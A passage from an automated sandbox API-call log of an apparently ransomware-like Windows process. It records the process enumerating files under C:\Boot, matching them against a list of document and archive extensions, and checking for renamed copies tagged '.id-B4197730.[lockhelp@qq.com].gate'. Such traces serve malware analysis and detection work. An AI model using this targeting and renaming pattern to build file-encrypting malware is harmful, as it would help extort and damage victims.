(lpString=".docx") returned 5 [0318.841] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0318.841] lstrlenW (lpString=".pdf") returned 4 [0318.842] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0318.842] lstrlenW (lpString=".xls") returned 4 [0318.842] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0318.842] lstrlenW (lpString=".xlsx") returned 5 [0318.842] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0318.842] lstrlenW (lpString=".ppt") returned 4 [0318.842] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0318.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0318.842] lstrlenW (lpString=".zip") returned 4 [0318.842] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0318.842] lstrlenW (lpString=".rar") returned 4 [0318.842] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0318.842] lstrlenW (lpString=".bz2") returned 4 [0318.842] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0318.842] lstrlenW (lpString=".7z") returned 3 [0318.842] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0318.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0318.842] lstrlenW (lpString=".dbf") returned 4 [0318.842] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0318.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0318.842] lstrlenW (lpString=".1cd") returned 4 [0318.842] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0318.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0318.842] lstrlenW (lpString=".jpg") returned 4 [0318.842] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0318.842] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x740750 | out: hHeap=0x6e0000) returned 1 [0318.842] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x73c170 | out: hHeap=0x6e0000) returned 1 [0318.842] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f01b18 | out: hHeap=0x6e0000) returned 1 [0318.843] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f11b20 | out: hHeap=0x6e0000) returned 1 [0318.870] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x41cc020 | out: hHeap=0x6e0000) returned 1 [0318.874] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x740558 | out: hHeap=0x6e0000) returned 1 [0318.874] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x3f8b308 [0318.874] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x3f8b308, Size=0x20) returned 0x7ddbd8 [0318.875] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x3f8b380 [0318.875] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x3f8b380, Size=0x20) returned 0x7ddde0 [0318.875] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77740000 [0318.875] GetProcAddress (hModule=0x77740000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77756b30 [0318.875] Wow64DisableWow64FsRedirection (in: OldValue=0x377ff50 | out: OldValue=0x377ff50*=0x1) returned 1 [0318.875] lstrlenW (lpString="kernel32.dll") returned 12 [0318.875] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x7ddde0 | out: hHeap=0x6e0000) returned 1 [0318.875] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0318.875] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x7ddbd8 | out: hHeap=0x6e0000) returned 1 Thread: id = 59 os_tid = 0xed4 [0272.265] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10000) returned 0x3f33528 [0272.266] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10000) returned 0x3f43530 [0272.266] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x740570 [0272.266] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x6) returned 0x73c180 [0272.266] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x740768 [0272.266] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x100000) returned 0x42d1020 [0272.268] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x740588 [0272.268] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x740588, Size=0x20) returned 0x71eb60 [0272.268] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x740588 [0272.268] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x740588, Size=0x20) returned 0x71ed18 [0272.268] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77740000 [0272.268] GetProcAddress (hModule=0x77740000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77756b30 [0272.269] Wow64DisableWow64FsRedirection (in: OldValue=0x38bff50 | out: OldValue=0x38bff50*=0x0) returned 1 [0272.269] lstrlenW (lpString="kernel32.dll") returned 12 [0272.269] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71eb60 | out: hHeap=0x6e0000) returned 1 [0272.269] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0272.269] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71ed18 | out: hHeap=0x6e0000) returned 1 [0272.269] Sleep (dwMilliseconds=0x64) [0272.484] Sleep (dwMilliseconds=0x64) [0272.669] Sleep (dwMilliseconds=0x64) [0272.987] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0272.987] lstrlenW (lpString="memtest.exe.mui") returned 15 [0272.987] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0272.987] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=45472) returned 1 [0272.987] CloseHandle (hObject=0x37c) returned 1 [0272.987] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui")) returned 0x20 [0272.987] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0273.014] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.014] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0273.014] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0273.014] lstrlenW (lpString=".doc") returned 4 [0273.014] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0273.014] lstrlenW (lpString=".docx") returned 5 [0273.014] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0273.014] lstrlenW (lpString=".pdf") returned 4 [0273.014] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0273.014] lstrlenW (lpString=".xls") returned 4 [0273.014] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0273.015] lstrlenW (lpString=".xlsx") returned 5 [0273.015] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0273.015] lstrlenW (lpString=".ppt") returned 4 [0273.015] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0273.015] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0273.015] lstrlenW (lpString=".zip") returned 4 [0273.015] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0273.015] lstrlenW (lpString=".rar") returned 4 [0273.015] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0273.015] lstrlenW (lpString=".bz2") returned 4 [0273.015] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0273.015] lstrlenW (lpString=".7z") returned 3 [0273.015] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0273.015] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0273.015] lstrlenW (lpString=".dbf") returned 4 [0273.015] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0273.015] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0273.015] lstrlenW (lpString=".1cd") returned 4 [0273.015] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0273.015] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0273.015] lstrlenW (lpString=".jpg") returned 4 [0273.015] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0273.015] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0273.015] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0273.015] lstrlenW (lpString=".doc") returned 4 [0273.015] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0273.015] lstrlenW (lpString=".docx") returned 5 [0273.015] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0273.015] lstrlenW (lpString=".pdf") returned 4 [0273.015] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0273.015] lstrlenW (lpString=".xls") returned 4 [0273.015] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0273.015] lstrlenW (lpString=".xlsx") returned 5 [0273.015] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0273.016] lstrlenW (lpString=".ppt") returned 4 [0273.016] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0273.016] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0273.016] lstrlenW (lpString=".zip") returned 4 [0273.016] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0273.016] lstrlenW (lpString=".rar") returned 4 [0273.016] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0273.016] lstrlenW (lpString=".bz2") returned 4 [0273.016] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0273.016] lstrlenW (lpString=".7z") returned 3 [0273.016] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0273.016] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0273.016] lstrlenW (lpString=".dbf") returned 4 [0273.016] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0273.016] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0273.016] lstrlenW (lpString=".1cd") returned 4 [0273.016] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0273.016] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0273.016] lstrlenW (lpString=".jpg") returned 4 [0273.016] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0273.016] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0273.016] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0273.016] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0273.232] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=79200) returned 1 [0273.232] CloseHandle (hObject=0x338) returned 1 [0273.232] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0273.232] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0273.232] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.232] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0273.232] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0273.232] lstrlenW (lpString=".doc") returned 4 [0273.232] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0273.232] lstrlenW (lpString=".docx") returned 5 [0273.232] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0273.232] lstrlenW (lpString=".pdf") returned 4 [0273.232] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0273.232] lstrlenW (lpString=".xls") returned 4 [0273.232] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0273.232] lstrlenW (lpString=".xlsx") returned 5 [0273.232] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0273.232] lstrlenW (lpString=".ppt") returned 4 [0273.232] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0273.232] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0273.232] lstrlenW (lpString=".zip") returned 4 [0273.232] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0273.233] lstrlenW (lpString=".rar") returned 4 [0273.233] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0273.233] lstrlenW (lpString=".bz2") returned 4 [0273.233] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0273.233] lstrlenW (lpString=".7z") returned 3 [0273.233] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0273.233] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0273.233] lstrlenW (lpString=".dbf") returned 4 [0273.233] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0273.233] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0273.233] lstrlenW (lpString=".1cd") returned 4 [0273.233] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0273.233] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0273.233] lstrlenW (lpString=".jpg") returned 4 [0273.233] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0273.233] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0273.233] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0273.233] lstrlenW (lpString=".doc") returned 4 [0273.233] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0273.233] lstrlenW (lpString=".docx") returned 5 [0273.233] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0273.233] lstrlenW (lpString=".pdf") returned 4 [0273.233] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0273.233] lstrlenW (lpString=".xls") returned 4 [0273.233] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0273.233] lstrlenW (lpString=".xlsx") returned 5 [0273.233] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0273.233] lstrlenW (lpString=".ppt") returned 4 [0273.233] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0273.233] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0273.233] lstrlenW (lpString=".zip") returned 4 [0273.234] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0273.234] lstrlenW (lpString=".rar") returned 4 [0273.234] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0273.234] lstrlenW (lpString=".bz2") returned 4 [0273.234] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0273.234] lstrlenW (lpString=".7z") returned 3 [0273.234] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0273.234] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0273.234] lstrlenW (lpString=".dbf") returned 4 [0273.234] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0273.234] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0273.234] lstrlenW (lpString=".1cd") returned 4 [0273.234] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0273.234] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0273.234] lstrlenW (lpString=".jpg") returned 4 [0273.234] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0273.234] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0273.234] lstrlenW (lpString="memtest.exe.mui") returned 15 [0273.234] CreateFileW (lpFileName="C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0273.236] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=46496) returned 1 [0273.236] CloseHandle (hObject=0x338) returned 1 [0273.236] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui")) returned 0x20 [0273.236] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\memtest.exe.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0273.236] CreateFileW (lpFileName="C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.236] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29 [0273.236] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29 [0273.236] lstrlenW (lpString=".doc") returned 4 [0273.236] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0273.236] lstrlenW (lpString=".docx") returned 5 [0273.236] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0273.236] lstrlenW (lpString=".pdf") returned 4 [0273.236] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0273.236] lstrlenW (lpString=".xls") returned 4 [0273.236] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0273.236] lstrlenW (lpString=".xlsx") returned 5 [0273.236] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0273.236] lstrlenW (lpString=".ppt") returned 4 [0273.236] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0273.237] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29 [0273.237] lstrlenW (lpString=".zip") returned 4 [0273.237] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0273.237] lstrlenW (lpString=".rar") returned 4 [0273.237] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0273.237] lstrlenW (lpString=".bz2") returned 4 [0273.237] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0273.237] lstrlenW (lpString=".7z") returned 3 [0273.237] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0273.237] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29 [0273.237] lstrlenW (lpString=".dbf") returned 4 [0273.237] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0273.237] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29 [0273.237] lstrlenW (lpString=".1cd") returned 4 [0273.237] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0273.237] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29 [0273.237] lstrlenW (lpString=".jpg") returned 4 [0273.237] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0273.237] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29 [0273.237] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29 [0273.237] lstrlenW (lpString=".doc") returned 4 [0273.237] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0273.237] lstrlenW (lpString=".docx") returned 5 [0273.237] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0273.237] lstrlenW (lpString=".pdf") returned 4 [0273.238] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0273.238] lstrlenW (lpString=".xls") returned 4 [0273.238] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0273.238] lstrlenW (lpString=".xlsx") returned 5 [0273.238] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0273.238] lstrlenW (lpString=".ppt") returned 4 [0273.238] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0273.238] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29 [0273.238] lstrlenW (lpString=".zip") returned 4 [0273.238] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0273.238] lstrlenW (lpString=".rar") returned 4 [0273.238] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0273.238] lstrlenW (lpString=".bz2") returned 4 [0273.238] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0273.238] lstrlenW (lpString=".7z") returned 3 [0273.238] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0273.238] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29 [0273.238] lstrlenW (lpString=".dbf") returned 4 [0273.238] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0273.238] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29 [0273.238] lstrlenW (lpString=".1cd") returned 4 [0273.238] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0273.238] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29 [0273.238] lstrlenW (lpString=".jpg") returned 4 [0273.238] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0273.238] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0273.238] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0273.239] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0273.240] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=74144) returned 1 [0273.240] CloseHandle (hObject=0x338) returned 1 [0273.240] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20 [0273.240] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0273.240] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.241] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0273.241] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0273.241] lstrlenW (lpString=".doc") returned 4 [0273.241] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0273.241] lstrlenW (lpString=".docx") returned 5 [0273.241] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0273.241] lstrlenW (lpString=".pdf") returned 4 [0273.241] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0273.241] lstrlenW (lpString=".xls") returned 4 [0273.241] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0273.241] lstrlenW (lpString=".xlsx") returned 5 [0273.241] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0273.241] lstrlenW (lpString=".ppt") returned 4 [0273.241] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0273.241] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0273.241] lstrlenW (lpString=".zip") returned 4 [0273.241] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0273.241] lstrlenW (lpString=".rar") returned 4 [0273.241] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0273.241] lstrlenW (lpString=".bz2") returned 4 [0273.241] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0273.241] lstrlenW (lpString=".7z") returned 3 [0273.241] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0273.241] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0273.241] lstrlenW (lpString=".dbf") returned 4 [0273.241] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0273.241] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0273.241] lstrlenW (lpString=".1cd") returned 4 [0273.241] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0273.242] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0273.242] lstrlenW (lpString=".jpg") returned 4 [0273.242] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0273.242] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0273.242] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0273.242] lstrlenW (lpString=".doc") returned 4 [0273.242] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0273.242] lstrlenW (lpString=".docx") returned 5 [0273.242] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0273.242] lstrlenW (lpString=".pdf") returned 4 [0273.242] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0273.242] lstrlenW (lpString=".xls") returned 4 [0273.242] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0273.242] lstrlenW (lpString=".xlsx") returned 5 [0273.242] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0273.242] lstrlenW (lpString=".ppt") returned 4 [0273.242] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0273.242] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0273.242] lstrlenW (lpString=".zip") returned 4 [0273.242] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0273.242] lstrlenW (lpString=".rar") returned 4 [0273.242] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0273.242] lstrlenW (lpString=".bz2") returned 4 [0273.242] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0273.242] lstrlenW (lpString=".7z") returned 3 [0273.242] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0273.242] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0273.242] lstrlenW (lpString=".dbf") returned 4 [0273.242] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0273.242] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0273.243] lstrlenW (lpString=".1cd") returned 4 